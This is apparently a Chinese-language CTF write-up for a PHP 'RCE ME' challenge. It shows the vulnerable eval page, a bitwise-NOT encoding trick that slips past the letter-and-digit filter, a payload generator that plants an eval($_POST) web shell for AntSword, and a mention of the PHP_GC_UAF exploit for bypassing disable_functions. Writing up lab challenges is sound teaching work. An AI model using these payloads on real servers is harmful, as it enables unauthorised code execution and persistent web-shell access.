C
C
CTF-WriteUp
Search
⌃K

RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
无字母shell题,第一反应就是P牛的那篇文章了。利用取反获得。
<?php
echo urlencode(~'phpinfo');
//?code=(~%8F%97%8F%96%91%99%90)();
读取phpinfo文件,可以发现禁用了大部分命令执行的函数。
同理,执行回调函数,蚁剑连接。
<?php
error_reporting(0);
$a=urlencode(~'assert');
$b=urlencode(~'(eval($_POST["a"]))');
echo '(~' . $a . ')(~' . $b . ');';
?>
发现没有权限读取flag,但是有readflag文件,应该是利用该文件读取,但是本地虚拟终端执行没有回显。
于是利用蚁剑的bypass的插件来bypass disable_functions。该插件的利用原理大概在这里,利用历代php的漏洞来进行绕过。我们使用PHP_GC_UAF,该漏洞利用堆溢出执行命令,使用版本7.0-7.3。
Last modified 8mo ago